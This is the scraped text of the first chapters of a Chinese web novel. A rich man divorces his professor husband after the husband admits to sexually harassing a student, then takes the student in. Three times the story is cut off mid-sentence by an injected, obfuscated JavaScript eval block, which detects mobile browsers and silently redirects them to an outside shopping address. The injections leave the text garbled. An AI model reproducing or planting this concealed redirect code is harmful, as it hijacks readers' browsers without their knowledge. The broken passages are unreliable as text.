《致命男人》
1. 第 1 章
三十岁是男人的黄金年龄,谢如珪在此基础上又过了一个生日,正是意气风发春风得意的时候。
天之骄子四个字就是用来形容他这样的人的。
无一不理想,无一不美满。
只是这份美满在下午四点的时候,被一通以区号开头,“110”结尾的电话打破。
公事公办的声音告诉他:“您好,请问是谢如珪谢先生吗?我们是燕园派出所的。您的爱人沈恪因涉嫌一起案件,需要您到派出所协助调查。”
挂了电话,谢如珪想了想,将身上原本为元旦家宴准备的西装三件套换下,从衣帽间深处翻出一件前几年跟风买的,隔壁中传风格的羽绒服。
谢如珪这辈子,除了大学的时候支教的几个月,没用过什么便宜东西。所以哪怕是跟风买的羽绒服实际上也是Moncler家的,三万多一件。
制作工艺相当精细的羽绒服几年没穿也没有沉闷的鸭腥味,谢如珪把除了手表外的首饰摘得干干净净,羽绒服搭在臂弯里,坐室内电梯,直达车库。
解决得快的话,还能赶上家宴。谢如珪想。
警察没在电话里告知他具体是什么案件,谢如珪想应该不是什么大事,左右不过是学生的问题,或许其中涉嫌经济纠纷?
总之对他来说,都不是大事。
电话打来的时间倒是巧,再晚一点北京就要堵车了。谢如珪一边开车一边尝试用车内蓝牙给沈恪打电话,不出意料无人接听。
好在他住的颐和原著就在京大附近,开车没一会儿就到了。到了再说吧。
谢如珪和沈恪是在美国登记结婚的同性伴侣。两人是大学同学,兴趣相投,日久生情,很早就在美国登记了。两人都不是情绪外放的人,多年来相敬如宾,也算是婚姻美满。
与谢如珪喜欢自由、喜欢探索不同,沈恪在本校一直读到了博士,并成功抓住了黄金窗口,去年评上了副教授。跨年前,谢如珪原计划像前几年一样,在高级餐厅订一桌烛光晚餐,就算是约会了,然而沈恪却突然说他要出差几天,带学生去别的学校打辩论赛。
烛光晚餐自然告吹,谢如珪已经做好了沈恪无法参加家宴的准备,燕园派出所的电话就来了。说起来,燕园派出所就在京大里面,沈恪已经返校了?
谢如珪将车子停在中关新园停车场,下车,走东门进,朝逸夫楼走。
燕园派出所是北京唯一一个坐落于大学校园内的公安派出所,谢如珪更加笃定,一定是学生出了什么事。
一月的北京下着雪,冷得要命。谢如珪里面穿着骆马绒大衣,再披一件羽绒服,竟然还有点热。
很快就走到了燕园派出所。
·
“抱歉。”谢如珪有一瞬间觉得世界特别不真实,怀疑是不是自己听错了,不然怎么会好端端地坐在椅子上就开始头晕目眩,“您是说沈恪性骚扰学生,还是男同学?”
女警察点头。
她也觉得离谱,从接到电话到赶到现场,一路上都觉得离谱。
中午的时候,总台接到报警电话,因为报警地点就在京大,所以自然是他们燕园派出所出警最快。
涉嫌猥亵、□□,支队长特意派她和一名经验丰富的老警察一起出警,交代她到现场后第一时间安抚受害人稳定受害人的情绪。
女警察打起十二万分的精神,在短短几分钟内打好腹稿,到现场后,看到的却是一个脸色苍白的少年,和一个头破血流的男人。
她一怔……同性恋?
她先问了受害人是否为未成年人,得到否定答案。搭档也检查了嫌疑人的伤势,确定是手臂划伤,血不慎弄到了脸上,所以才看起来吓人。
现场暂时没有别的发现,两人被带回派出所。好在今天是周末,午后校园里走动的人并不多,因此没多少人看见。
因为案件的特殊性,两人分开做笔录。
受害人叫言真,十八岁,刚上大一,成绩优异,是哲学心理学双学位。嫌疑人沈恪则是马克思主义学院的副教授,教马克思主义原理。
沈恪对言真而言,只是公共课的授课老师,两人按理说不会有太多接触。一周前,辩论队的生活老师感染了诺如病毒,无法再带队参赛,学校内部协调后决定由沈恪带队去上海参加比赛。
辩论队昨日返校,沈恪没有回家,而是住在了学校分给他的教师宿舍里。今天早上,他把言真叫到了教师宿舍,对言真进行性骚扰。言真激烈反抗,沈恪受伤。
做笔录,再是顾及受害人的情绪,该问的问题还是要问的。
“嫌疑人在此前有对你表示过什么吗?”
“有,他有一些暧昧行为,我没有搭理他。”
“嫌疑人有过过激举动吗?”
“他暗示我,还威胁我如果不答应就给我挂科,我反抗了。”
“嫌疑人为什么对你下手?你的性取向也是男性吗?他知道你的性取向?”
这个问题让言真低头沉默了很久。女警察有些不忍心,但这是必须的流程。
沈恪并没有对他造成法律可以认定的实质性的伤害,反而是他把沈恪打伤了。以一个最高学府的年轻有为的副教授的人脉关系……他是否认识法律界的朋友?女警察希望正义能得到伸张,所以刨根问底,所以抠细节。
如果想省事的话,这种事情很容易不了了之,又或者沈恪反过来告言真造谣告他故意伤害。
她侧面提醒言真,问他有没有录音。
言真再开口的时候,带来了可以行政立案的关键信息——
“我没有录音。”
“我和沈教授十几年前就认识。他和他的爱人当时在山区支教,他们教过我,并且这些年来一直在资助我。我上他的第一堂课的时候他就认出我来了,我对他没有戒心,所以他才得寸进尺地一步步逼迫我。”
“我没有必要好端端地污蔑一个公共课的老师,事情就是我说的那样。他婚内出轨……对,他已经结婚了。姐姐,你可以帮我联系他的爱人吗?他那么好他会相信我的。”
笔录到这里为止,言真情绪很不好,不愿意继续往下说了。也没说要不要走诉讼程序——如果他们很早以前就认识了,那时候的言真还是一个小朋友,这起案件是否还有别的切入点?
与此同时,沈恪那边拒绝做笔录。
无论警察怎么问他始终一言不发。
等到言真的笔录结束,警察交班的时候提了一嘴,沈恪听到,沙哑的声音问,言真那边是怎么说的。
案件办理的绝大部分阶段,当时双方不能随意查看对方的笔录内容。但警察可以通过合理的方式提问透露信息,来反推敲笔录的真实性。
警察将言真那边的说辞大致和沈恪说了一遍。
没想到,手臂上包着纱布,额头上血迹干涸,颓丧却不掩英俊的副教授,对此的反应不是激烈反驳,然后配合做笔录。
他认可了言真的笔录,承认了他真的做过。
只是强调他是性骚扰未遂。
女警察很快把消息告诉了言真,言真终于露出了今天的第一个笑容,说他不打算告沈恪了,他证据很少,他还要好好读书。
他想见见沈恪的爱人。
女警察将来龙去脉原原本本地告诉了谢如珪。
谢如珪:“谢谢你……我需要一点时间消化一下。”
·
女警察接了杯热水递给谢如珪,谢如珪只是抿了一口,然后继续按手机,他正在和人沟通。
女警察瞄到似乎是微信聊天界面,没有窥探,去和同事们坐在一起了。
二十分钟后,谢如珪走过来问女警察现在方不方便见沈恪一面。
笔录当然不可能不做,沈恪暂时不能离开派出所。后续是否要继续看押,或者由检察院提起公诉,都要看言真这个受害人的态度和证据。
这个阶段,谢如珪是可以见沈恪的。
女警察将人带到调解室,出去的时候还在嘀咕,拥有一位如此帅气的伴侣,还在美国登记了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592263|187401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
干嘛要做这种事?
不过三个人都长得很好看。只能说北京这个地方还是太复杂了,不懂同性恋。
到沈恪走进调解室,谢如珪跷着的二郎腿也没放下来。他行为举止一向谦和得体,说话叫人如沐春风,少有这么有压迫感的时候。
沈恪在他对面坐下,头有些低,一言不发。
谢如珪仔细打量他,没错过他凌乱的头发,和额间隐隐的血迹与鼓包。这些形成他周身难掩的挫败感。
然后到谢如珪起身离开前,一共只说了三句话——
“精彩。”
这是评价他出门一趟看的好戏。
“你太难看了。”
这是评价沈恪的为人。
“我会让阿姨收拾好你的个人物品,送到燕郊你的房子里。不要再回我家,我会换锁。拉斯维加斯领的结婚证只保护我们在海外的共同财产,说是共同财产,都是我的资产。我一分也不打算分给你你这边没有问题吧?很好,稍后律师会联系你。”
这是对出轨的伴侣的最终判决。
不给沈恪说话机会,谢如珪走得毫不留情。
尽管在婚姻中遭受背叛,但他对沈恪这个人还是了解的。沈恪大概率不会和他打经济官司,沈恪是一个脸面大过天的人,他有文人的骄傲。
只是这种骄傲空有傲气,没有傲骨。
光是刚刚的打量就叫他羞辱至极吧?谢如珪想。
他对我的羞辱也不轻。谢如珪原本抱着也许是沈恪带的学生出了事,他过来顺便帮着解决一下的想法,没想到来燕园派出所一小时,直接离了个婚。
谢如珪的公司18年在美国纳斯达克上市,他在海外的资产不比国内的少多少。国内不承认同性婚姻的合法性,沈恪本就捞不到,海外的……哪怕他不要脸,要打官司争,谢如珪已经联系好律师团队了,他不可能让沈恪讨到好的。
迅速处理完,谢如珪从头到尾没有一丁点难过的情绪,他就像全部负面情绪都被抽离了一样,甚至有一点莫名其妙的兴奋。
兴奋什么呢?兴奋三十一岁的这一年,重回黄金单身汉?不过话说回来,gay圈也讲究黄金单身汉吗?谢如珪结婚太早,就没混过圈。他想他是不是该趁现在干脆找个bar泡一下?
谢如珪从调解室出来,穿过走廊,走到警局装修更加浓厚,警察蓝庄严又肃穆的大厅时,那种莫名其妙的兴奋情绪才淡下来了一点。
他现在最需要的是冷静。
尽管离婚的事已经交给了律师,但后续还有别的琐碎的事还得他打起精神处理呢。
算了,先回家吧。
快走到门口时被一声叫住——
“谢老师。”
谢如珪停下脚步。
很多年没有人这么叫他了。他稍微侧了侧身,就看到了坐在金属长椅上,被他刻意忽略的少年。
言真。
他记得这个孩子,公司每年的慈善名单上都有他。他很多年没见过他了,居然长这么大了。长得真好看,青春、清纯,像棵小白杨一样。
“言真,好久不见。”谢如珪和蔼地说。
他能说什么呢?替沈恪道歉?那不是他的错,沈恪必须自己付出代价。面对这个年少时期教过,资助了很多年,半年前还回复过他报喜的消息的少年,谢如珪实在不知道说什么好。
他沉默,言真也沉默。
过了大概几十秒,言真问他:“谢老师,你相信我吗?”
“我相信你。”谢如珪毫不犹豫地说。
不远处,另一起寻衅滋事的案件正在调解,派出所里有一点吵。
言真在掉眼泪,大颗大颗地往下掉。
谢如珪问他一会儿是回学校还是哪?言真摇摇头,说他不想呆在宿舍。
毕竟性骚扰事件就发生在宿舍,尽管是教师宿舍,相似的构造会勾起他不好的回忆吧?真是可怜。谢如珪叹了口气。
稍作思考,谢如珪问言真:“你愿意先跟我回家吗?”
2. 第 2 章
出了门,冷风一吹,谢如珪的大脑瞬间降温。
言真掉眼泪的样子看着着实可怜,尽管谢如珪其实已经很多年没见过他了。
十几年前在山区支教的时光是他生命中难以磨灭的一部分,贫穷但向上的生命力对于家境优渥的谢如珪来说是真真正正的见世面——世界的另一面。以至于这些年来他持续不断地资助那里的教育。
言真算是很争气的,谢如珪对他的印象一直不深,还是三年前一次和学校对接的时候,那边的负责人聊到有个他以前教过的孩子,有冲刺顶尖学府的潜力,聊多了,还是高中生的言真很想感谢他,这才加上的微信。
后来谢如珪专门去翻了当年的相册,翻遍了,才在角落里找到那时才五岁的言真——他当时在山区的小学里教孩子们英语,小学落后到不分年级,只有一个班,五岁的言真学习好不好乖不乖?谢如珪努力回忆,对此没有丝毫的印象。
所以对谢如珪来说,他是三年前才认识言真的。
漂亮的成绩单、节假日得体的问候、定期寄来的手写信和土特产干货,组成了谢如珪对这个少年的全部印象。
半年前,言真最后一次向他报喜,说考上了京大,谢如珪当即打去电话,问言真什么时候来北京?他要给他接风,周末再带他好好玩玩。
言真拒绝了,说不想打扰他的生活。电话里,少年的声音清亮,祝福谢如珪身体健康万事顺心。
没想到真正得见是在今天,在沈恪性骚扰他,他激烈反抗并报警后的警局里。
谢如珪扭头看了眼身后,晚他一步出来的言真被强悍的冷空气冻得瑟缩了一下,谢如珪这才注意到他穿得好薄。
只有一件厚毛衣……在想什么,以为北京的冬天很善良吗?感冒是不会放过他的。
谢如珪把羽绒服脱下来,递给他。
“穿上吧。”
言真吓了一大跳,他本来是低着头的,一下抬起头来,惊疑不定地看着谢如珪。他个子不矮,大概180、181的样子,和谢如珪差不多。因为瘦所以看起来格外的挺拔,应激得瞪大眼睛的样子看起来像一只小兔子。
“谢谢谢老师,我不冷。”他婉拒。
他冷不冷,有眼睛的都能看出来。谢如珪听女警察复述,猜到言真估计是早上被沈恪叫到教师宿舍的时候没有防备,进门就脱了外套。后来出了变故去派出所,忘了穿外套了,身上才只有一件看起来并不怎么保暖的毛衣。
谢如珪说:“如果你不穿的话,我们得先去药店买感冒药,我才能带你回家。”
言真抿了抿唇,说:“可是你把羽绒服给我穿,你也会感冒的。”
“不会。”谢如珪笑了笑,“老师身上这件大衣很贵,很保暖的。我在派出所里都热出汗了。”
这是实话,女警察递给他的热水,谢如珪只是礼貌性地抿了一口,没有多喝,就是因为他坐在椅子上,尽管羽绒服是敞开的,还是被热到微微冒汗。
这几年他很少在室外行走,今天是想着京大不好停车,要走一段路才能到派出所,才从衣帽间深处翻出这件买来也不知道穿没穿过的羽绒服。结论是他花在买衣服上的钱没有白花,是落到实处的,售价几万的骆马绒大衣可以单挑北京的冬天。
羽绒服也不算白带,正好给言真穿。
他都这样说了,再拒绝就是拧巴了。言真穿上羽绒服,和暖意一起袭来的,是男人身上昂贵的沉香味道。
“谢谢谢老师。”
谢如珪颔首,带着言真往外走。
少年落后他半步,谢如珪余光瞄到他几乎半张脸都缩在拉到顶的高领里。言真皮肤白,安安静静跟在他身后的样子很乖巧。
两人沉默着走了好一会儿,走到停车的地方。谢如珪的座驾是一辆灰色的阿斯顿·马丁拉贡达Taraf,非常老派绅士。他替言真开了车门,然后才上车。
谢如珪注意到,言真终于舍得从羽绒服的高领里抬起来的脸,粉红粉红的。
“开着空调可能会有一点热。”谢如珪提醒他。
言真嗯了一声,把羽绒服全部拉开。
人是带走了,带去哪儿呢?谢如珪很慢地打方向盘,很慢地驶出停车场。晚上六点的北京,天空是深蓝色中带点儿橙的,尽管一年四季空气污染指数都很高,但晚霞总是美的。
冬天,路灯早早亮起,辐射进来些许暖黄色的光。
言真突然说道:“谢老师,你不问我吗?”
“问什么?”
“就是今天的事。”
“不问。我相信你,不想揭你伤疤。”
“我还好,谢老师,其实这件事对你的伤害更大吧?”
谢如珪不知道言真怎么会这么想。
他自认为是一个体面的人,哪怕是伴侣出轨也处理得干脆利落,没有丝毫的拖泥带水。他养的律师团队非常厉害,离个婚而已,他的经济不会蒙受丝毫的损失。
要说心情的话……他现在真的没有多少感触。
刚刚兴奋,现在平静。
非要说的话其实有一点累,很想好好睡一觉。
不过现在显然不是睡觉的时候。
“小朋友不要窥探大人的想法。”谢如珪说,“你看我像是悲痛欲绝的样子吗?”
两人在后视镜里对视,狭窄的镜框只够他们看清彼此的眼睛。好像是不怎么伤心?言真收回视线。
正是晚高峰的时候,海淀区堵得要命,他们从停车场出来就开始堵车。
谢如珪走了会儿神,好多电瓶车从旁边飞快地驶过。再回神的时候,谢如珪想,他这也算是接小孩放学。
于是在车流终于通畅一点的时候,干脆往东四环开。
这个点就应该吃饭。
·
北京的晚高峰无情无义,哪怕谢如珪的豪车落地近一千万,路上也总有开比他还贵的车的人。紧赶慢赶,到东山墅的时候已经是晚上七点半了。
期间谢母打电话来问过一次,谢如珪说在路上。问他几个人,他说两个人。
挂了电话才和言真说:“我们先去我父母家吃个饭,然后再回家。”
言真说好。
然后进门的时候就被吓了一大跳。
“这是谁?”早已换上家居服的男人问谢如珪。
“别堵着门,吓到小朋友了。”谢如珪拉着愣愣的少年进门。
“这是我弟弟,谢如璋。长得像吧?我们是双胞胎。”谢如珪介绍,“这是言真,是我的学生。爸、妈、姐、姐夫。”
谢如珪依次和家人打招呼,言真乖乖的,也和他们打招呼。
席间,谢如珪没提沈恪,言真自然不会多嘴。他把聊天重心放在言真身上,说和这个孩子很有缘分。言真出乎谢如珪意料的上道,讲自己从四川考到北京。
他很会讨巧,聊两句就要感谢谢如珪,感谢谢家对学校的定点扶持,一顿饭下来把谢父谢母给哄得合不拢嘴,喜欢他得不得了。
优秀又谦卑的年轻人总是讨人喜欢的,连惯常冷着个脸的谢如璋都和言真聊了几句。
饭后,兄弟俩在露台吸烟,主要是谢如璋吸烟,谢如珪把今天发生的事情和弟弟说了一遍。
谢如璋掐了烟,说道:“我会找人收拾他。”
“没必要。”谢如珪说,“和你说这件事是让你多帮我打圆场。等手续全部走完,我再和爸妈说。”
兄弟俩聊了点工作上的事。
谢家主要做房地产,大姐谢梦娆嫁得早,姐夫家里是公检法系统的。谢如珪性格自由烂漫,早几年父母还会劝他回家里公司上班,后来他把爱好做成事业之后,继承家业就彻底落到了弟弟谢如璋头上。
谢如珪在家里公司挂了个闲职,闲是因为广告部分他直接拿到了自己公司做。兄弟俩聊了会儿下季度的营销方案。
再回到客厅的时候,谢母握着言真的手,亲热得就差把他搂到怀里了。
谢如珪眯着眼睛看,谢母和言真交握着的手上,有一个被捏得皱巴的红包。
“谢老师。”言真表情尴尬,“你帮我和阿姨说说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592264|187401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,这个我真的不能要。”
谢母佯怒:“长辈赐不可辞。你来阿姨家里过元旦,阿姨是要给你包红包的呀!”
谢如珪同样笑眯眯地说道:“长辈赐不可辞,你收下吧。”
始终是谢母做事情最妥帖,谢如珪都忘了今天是元旦节了,他完全可以给言真发红包来补偿他。
遭了罪,还帮他一起隐瞒,言真是真的乖。
全家都看着他,推辞不过,言真只好收下了红包,和谢如珪一起告辞的时候,脸红扑扑的。
回去的路上谢如珪打趣他,让他数数,言真数了,正好一千块。是一个不会让他有太大负担,对于谢母来说又拿得出手的数字。
“哄小朋友的。”谢如珪说。
言真抿了抿唇。
“我也给你发个红包吧,元旦节快乐。”说着,谢如珪就要拿手机。
“真的不用!谢老师。”言真说,“我已经很不好意思了,要你收留我还拿了阿姨的红包。”
“可是我很想给你发红包。”谢如珪用有一点苦恼的语气说道,“你很乖,善解人意,晚饭的时候和我配合得很好,我妈被你哄得我们临走了都没想起问沈恪。我想奖励你呢。”
言真想了想,问他有没有现金。
谢如珪出门是一定要带钱包的,主要是为了装卡。
他在开车,让言真从他兜里拿。
大象灰的钱包里除了卡还真有几张钞票。言真从里面拿了一块钱,把钱包小心地放了回去。
“就拿一块钱?”谢如珪很惊讶。
他以为言真至少拿两百,微信发红包不就是两百?两百是很好表达心意的数字。又或者数八十八,他的钱包里有些零钱,八十八也很吉利。
怎么才拿一块钱?这孩子这么腼腆。
言真说:“一块钱就很好,我只想要一块钱。”
和红包加在一起刚刚好。
他把一块钱塞进红包里,笑得很甜。
·
回到颐和原著的时候已经很晚了,谢如珪便没带言真参观,简单把他安顿在客房后,就去休息了。
睡前还回了律师消息。虽然在燕园派出所处理得非常麻利,但直到躺到床上的那一刻,谢如珪才意识到他还是有些心力交瘁的。
毕竟事发那么突然,他知道的时候已经是结局了。
身体的累让他很快睡着,精神的累又叫他睡不安稳,做了好些光怪陆离的梦,然后半夜突然惊醒。
惊醒的谢如珪有一种说不上来的怪异感受,好像现在窗外突然下起的雪穿过墙壁落到他身上一样。心脏紧缩,不知是为睡眠不好还是为迟来的伤心难过。
好像在三十一岁这年,经历了一场缓慢的生长痛。
下雪了……反正也睡不着了,谢如珪决定起床,好像客房里的被子还是秋天的薄被?言真开空调没有?去看看他好了。
惊醒或许还有别的原因——谢如珪今天没有睡在主卧。个中原因不必多说。他睡的次卧正好和言真的客房同一层,几步就走到了。
言真似乎忘了锁门。
微微敞开一条缝隙的内门有窸窸窣窣的动静,言真没睡吗?谢如珪站在门口,还没想好是出声询问,还是直接推开门进去,又听到几声喘息。
是压着嗓子的,很轻,可是夜晚那么安静,谢如珪听得真切。
鬼使神差的,谢如珪没有动。
仍在闷痛的昏沉的大脑,难以思考言真为什么在这样特殊的夜晚,不睡觉做这种事。谢如珪也是男人,自然不会不知道做什么才会发出这样的声音。
正想着,门内的人突然开口了。
“谢老师,你在外面吗?”顿了顿,少年用因为染上情欲而沙哑的嗓子说道,“你在外面吧,影子遮住了光,我看见了。”
“你有事找我?稍等几分钟,很快了。”
“我马上出来。”
语气倒是平稳,只是一说完就接上闷哼。
他说的出来是哪个出来?后退两步,谢如珪不合时宜地想。
3. 第 3 章
捧着冰水喝了大半杯,谢如珪才反应过来,他其实根本没必要按言真说的稍等几分钟。
他只是担心被子太薄,言真没开空调会冻感冒,才出来看看的。
不小心窥探到年轻人的荷尔蒙,又被当事人发现,什么嘛……
大半夜的,言真应该也不会真的出来吧?
这么想着,谢如珪一转头就看见了刚从楼上下来的言真。
中央空调持续运转,言真穿着谢如珪给他找的蚕丝羊绒混纺的睡衣。他本来就长得乖,柔软的织物更让他有一种小动物似的温顺。
温顺?我怎么会用这个词。
“谢老师。”
言真已经走到岛台前了,少年的神色看起来异常平静,光是他真的下楼了就够让谢如珪惊讶的了,竟然还面不改色地问谢如珪久等了,找他什么事?
谢如珪沉默。
两人隔着岛台,距离不过半米,谢如珪这会儿真的有点怀疑是不是自己脑子出了什么问题,不然怎么会在言真站到他面前时,下意识地屏住呼吸。
又很深地嗅了一下……没有奇怪的味道。
我应该是上年纪了,疑神疑鬼的。谢如珪面无表情地想。
言真安静地等他回话,谢如珪总不能说我是起来给你加被子的吧?会很奇怪,尤其是言真刚刚在……
于是谢如珪问道:“是想问问你,假期怎么安排?”
·
十分钟后,两人坐在沙发上。客厅灯火通明,配合着室外纷纷扬扬的雪,气氛私密、温馨。
这种氛围正常来说是要谈恋爱的。
但是他们在谈假期安排。
谢如珪喝了口热水——这是几分钟前,言真不赞同地看着他手上挂霜的矿泉水瓶子,问他杯子在哪,去直饮机接了热水,态度堪称强硬地给他换的。他面前也有一杯热水。
抓把茶进去,像是在星级酒店的大堂谈项目。
言真说:“谢老师,元旦假期还是寒假?”
过完元旦假期,考一周试,就该放寒假了。京大每年都是1月13号放寒假。
谢如珪说:“寒假。”
现在就是元旦假期,他没忘昨天下午是他带言真回来的。言真的元旦假期得跟他过。
少年把玻璃杯捧在手上,也不喝,很认真地和谢如珪说他的寒假安排:“我打算留在北京兼职。我们学校寒假不封校,元旦收假后我会和辅导员申请留校。”
“不回家吗?”谢如珪问。
言真笑了一下,说家里早就没人了。高中他在学校附近租房子住。高中所在的林荫街是老城区的市中心,周围买房贵但租房便宜。
他有奖学金和助学金,租的是学校的老师闲置的房子,过得挺好的。
谢如珪一怔,他确实不清楚言真家里的具体情况。言真高中学校的老师不会特地拿孩子的家庭情况说事,每每提到言真只说这个孩子读书很刻苦。言真也没有在微信、手写信里和他诉苦。
甚至昨天晚上在谢如珪的父母家里吃饭,他都净捡着乐观向上的说。
原来是这种情况。谢如珪暗暗记下,打算白天让助理找一下言真的资料,他私下了解一下。家里没人了,谢如珪不好直接问他,总不好触及伤心事的。
只好转移话题:“你想找什么样的兼职?要不来我公司吧?”
言真摇摇头:“我当不了网红。我打算找服务员之类的兼职。我学的两个专业都得读到研究生才能找到对口的工作,可能还得理个成熟稳重的发型,才能让患者信任我呢。”他开了个玩笑。
生活不是电视剧,有心理疾病的患者可不会因为他是个小帅哥,就和他发展出什么罗曼史。只会因为他脸太嫩而怀疑他的水平。
医生还是要稳重的发型和厚重的眼镜,才能让患者放心。
资历和医术水平其实是需要一些装扮来表现的。
谢如珪自然知道这个梗,配合地笑了两声。他觉得言真比起昨天真的松弛多了,没注意到其实他自己也是——不知不觉间他的腿已经放上沙发,悠闲地靠着靠枕说话。
“但是你的脸确实是可以去宅舞区直播的。”谢如珪换上专业的眼光。
他的公司就是做这个的。
谢如珪大学毕业后先是去家里公司干了两年,后来实在受不了无休无止地和人谈项目,就跑去美国,读了EMBA。学费百万的高级工商管理课程使他早早嗅到了自媒体流量,创立了国内第一个长视频网站。
一开始只是转载国外的综艺、美食、健身内容。后来因为二次元的加入,越来越多的人愿意直播分享,或是上传干货。网站越做越大,18年在美国纳斯达克敲钟上市的时候,谢如珪终于能和父母说他不继承家业,他要玩一辈子。
他很少出现在公众面前,但朋友圈偶尔会分享公司相关的,言真知道他是做什么不奇怪。
“谢老师,别开我玩笑啦。”言真笑眯眯地说道,“你那么好看都没有当网红,我还是不出道了。”
谢如珪哈哈大笑。
谢如珪这些年见过几个受他、受谢家资助的学生,言真是其中最会说话的。不卑不亢但讨人欢心,这是未来的心理医生的天赋吗?
两人竟这么聊到了天亮。
日光被雪花滤过,照进来白晃晃的,太亮堂了,反倒让暖光灯下融洽的谈话气氛收敛。
再过一会儿,阿姨就要来打扫卫生、做饭了。
好好的元旦假期,还得收拾前夫的遗物。谢如珪脸上的笑意淡下来,他昨晚睡前给助理发消息,三倍加班费让他今天过来帮忙收拾。谢如珪自己当然也得在场,尽管非常想一把火把沈恪的东西全扬了,但这显然不是理智的做法——沈恪非常在乎工作,比谢如珪这个大老板还要在乎,真毁了他的工作文件,他会狗急跳墙的。
迅速划清界限才是目前最要紧的。最好别有一丝一毫继续牵连的可能。
见他脸色不好,言真便识趣地说上楼休息。昨晚他们俩都没睡好。
谢如珪点点头:“嗯……对了,言真,你寒假别住宿舍了,就住这里吧,用水用电总比学校方便。寒假我工作会比现在忙,不得不上班,你不用担心不自在。”
言真有些惊讶,还没等他推辞,谢如珪又说:“出了事,你住宿舍我也不放心。就这样决定。你回房间再睡一会儿,中午我叫你起床吃饭,然后下午开车陪你去学校收拾行李怎么样?”
他安排得这样妥帖,言真应下,很认真地道谢。
言真上楼后,谢如珪又坐了一会儿,阿姨进门看到他居然早起很是惊讶,赶紧用家里现有的食材给他做了个早餐。
吃完早餐后,假期被迫高薪加班的助理也到了,还带了两个专业收纳师。真正收拾起来,谢如珪发现,多年婚姻生活,沈恪的东西还不少。
沈恪表白、求婚很早,两人真正结婚是在20年,也就是沈恪硕士毕业后。倒不是两人的感情问题,他们这么多年平淡但
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592265|187401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是也过来了,迟迟没有正式成为伴侣,是因为谢如珪的父母一直看不上沈恪。
直到沈恪硕士毕业、拿到博士offer,而儿子始终没有始乱终弃换人的想法,谢父谢母才松口。
助理从创业开始就跟着谢如珪,以前只是秘书,后来公司越做越大,谢如珪有了一秘二秘三秘……助理理所当然地升到了助理。助理知道谢如珪的心情就不可能好,尽可能不让他多费心,很多东西是谁的他知道,指挥着两个收纳师打包。
谢如珪就在一旁闲闲的,打着哈欠,偶尔回一下律师。等一会儿东西都收拾完,送去燕郊,就让律师带着协议去找沈恪签字。美国那边也会同步,拉斯维加斯所在的内华达州没有waiting period,也就是国内俗称的离婚冷静期,大概月底就能走完所有法庭程序,拿到判决。
“boss?”
“嗯?”谢如珪回神。
“卧室您看……”助理有些尴尬地说。
公共区域和书房已经收拾完了,剩下的只有主卧了。
谢如珪叹了口气:“我自己来吧。”
·
言真回到房间,根本睡不着。
比想象中更快地住进这里,闻着和谢如珪身上一样味道的空气,怎么可能睡得着?
身上的睡衣也是谢如珪的,不知道他穿没穿过……昨晚躺到床上开始他就精神得不行。各种意义上的精神。
没来得及关闭的蓝牙耳机播放了一整夜,电量耗干了。好在今天下午谢老师会陪他回学校收拾行李,到时候再充电吧。
言真看着因为耳机断电而自动暂停的本地音频,很想外放,想再听一遍,又觉得外放太不稳妥了,纠结半晌,阿姨上来送早餐,再听一遍录音的事只能遗憾作罢了。
言真把托盘放到门口。楼下有人声,言真猜到应该是家政在处理沈恪的物品,谢如珪不会希望他这时候出现的。正好言真也有一点困了,他昨晚是一点没睡,便去补了个觉。
他定了闹钟,没让阿姨叫,快到十二点自己下楼了。
桌上摆满了丰盛的饭菜。
阿姨正好把鱼汤端到桌上,看见他,忙请他去叫一下谢如珪。
“先生在三楼主卧,三楼是主人家的,我一般不去的呀。请你去叫叫他可以吗?我收拾收拾就要走了,鱼汤冷了就不好喝了。”上海口音的阿姨说着摘下围裙。
言真点点头,又上楼。这栋别墅地上三层,地下一层,他昨晚睡在二楼。三楼有一个大套房和一个露台,房门紧闭着,言真敲敲门,无人应答。
思索片刻,他轻轻拧开门锁。
不出所料,房间内漆黑一片,窗帘被人拉上,中间没有完全闭合的缝隙透进来的光,还是让言真看清了颓丧地蹲坐在地上的男人。
几个小时前还谈笑风生,现在周身都要冒出黑气了。
言真叹了口气,走过去。
谢如珪也在这时缓慢地抬起头来。
这一刻,他们之间似乎不再有十几岁的年龄差,言真轻轻地将手搭在谢如珪抱着膝盖的手上,用一种温和的、端庄的、权威的声音告诉他:
“深呼吸——谢老师,不要急,这是正常的。你现在的反应是正常的。”
“昨天我就在想,你有点太平静了。当然,你处理得非常漂亮,让人刮目相看。”
“你有一点解离,我会帮助你,现在相信我就好。深呼吸,准备好了吗?我现在要抱一下你。”
4. 第 4 章
拥抱不是谢如珪以为的环上来,是言真抚摸着他的鬓角,坚定地把他压向自己的胸膛。
体温好像真的能缓解悲伤。
